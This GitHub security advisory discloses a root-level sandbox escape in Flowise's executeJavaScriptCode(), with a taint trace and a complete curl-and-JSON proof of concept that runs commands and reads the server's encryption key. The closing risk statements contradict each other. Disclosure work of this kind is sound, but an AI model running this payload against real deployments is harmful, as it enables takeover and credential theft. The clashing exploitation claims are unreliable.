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GHSA-3769-jgqc-cxm7
Summary
A sandbox escape vulnerability in executeJavaScriptCode() allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided nodeVMOptions that override the
default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like child_process and fs.
Details
The vulnerability is in packages/components/src/utils.ts at line 1755:
const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }
The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:
async (code, sandbox, options = {}) => {
const { nodeVMOptions = {} } = options;
// ...
const defaultNodeVMOptions = {
require: {
builtin: builtinDeps, // restricted allowlist — blocks child_process, fs, os, etc.
mock: secureWrappers
},
eval: false,
wasm: false
}
const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } // ← VULN: caller overrides security settings
const vm = new NodeVM(finalNodeVMOptions)
}
The spread operator allows any caller to override require.builtin with ["*"], which permits all Node.js built-in modules including child_process.
Taint 01: Route Registration
packages/server/src/routes/node-custom-functions/index.ts (line 8)
Taint 02: Controller
executeCustomFunction() passes req.body to service — packages/server/src/controllers/nodes/index.ts (line 90)
Taint 03: Service
executeCustomNodeFunction() loads the customFunction node and calls init() with user-provided javascriptFunction — packages/server/src/utils/executeCustomNodeFunction.ts (line 49)
Taint 04: Sandbox Entry
Code runs inside NodeVM via executeJavaScriptCode() — packages/components/src/utils.ts (line 1760)
Taint 05: Escape
Inside the sandbox, the attacker requires flowise-components/dist/src/utils.js by absolute path (bypassing the module allowlist), obtaining a reference to executeJavaScriptCode() itself
Taint 06: Override
The attacker calls executeJavaScriptCode() with nodeVMOptions: { require: { builtin: ["*"] } }, which overrides the security defaults at line 1755: { ...defaultNodeVMOptions, ...nodeVMOptions }
Taint 07: RCE
Inside the nested VM, require("child_process") succeeds. Arbitrary commands execute as root.
PoC
Step 1: Start Flowise
docker run -d --name flowise-poc -p 3000:3000 \
-e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \
flowiseai/flowise:latest
# Wait ~30s for startup
curl http://localhost:3000/api/v1/version
# {"version":"3.1.1"}
Step 2: Obtain Bearer Token
Register an account, then create an API key:
# Register
curl -s -X POST http://localhost:3000/api/v1/account/register \
-H "Content-Type: application/json" \
-d '{"user":{"email":"attacker@test.com","password":"Attack12345","name":"Attacker"}}'
# Create API key (via the UI at http://localhost:3000 → Settings → API Keys → Create)
# Copy the key — this is the Bearer token used below.
Step 3: Create Payload
cat > exploit.json << 'EOF'
{
"javascriptFunction": "const utils = require('/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js'); const code = 'const cp = require(\"child_process\"); cp.execSync(\"id > /tmp/RCE-PROOF.txt\");
return cp.execSync(\"id\").toString()'; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\"*\"] } } })"
}
EOF
Step 4: Exploit
# Pre-check: file does not exist
docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt
# ls: /tmp/RCE-PROOF.txt: No such file or directory
# Execute
curl -X POST http://localhost:3000/api/v1/node-custom-function \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <TOKEN>" \
-d @exploit.json
# "uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\n"
docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt
# -rw-r--r-- 1 root root 138 Apr 2 05:02 /tmp/RCE-PROOF.txt
docker exec flowise-poc cat /tmp/RCE-PROOF.txt
# uid=0(root) gid=0(root) groups=0(root)...
docker exec flowise-poc cat /root/.flowise/encryption.key
# GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb
<img width="1919" height="1033" alt="image" src="https://github.com/user-attachments/assets/3a2473f0-75a7-4c01-8c9d-9c758cf957fc" />
Impact
Full remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at /root/.flowise/encryption.key (which
decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at /root/.flowise/jwt_auth_token_secret.key (which allows forging authentication tokens for any user), and establish persistent
access via cron jobs or reverse shells. All Flowise deployments running >= 3.0.5 through 3.1.1 (latest) are affected.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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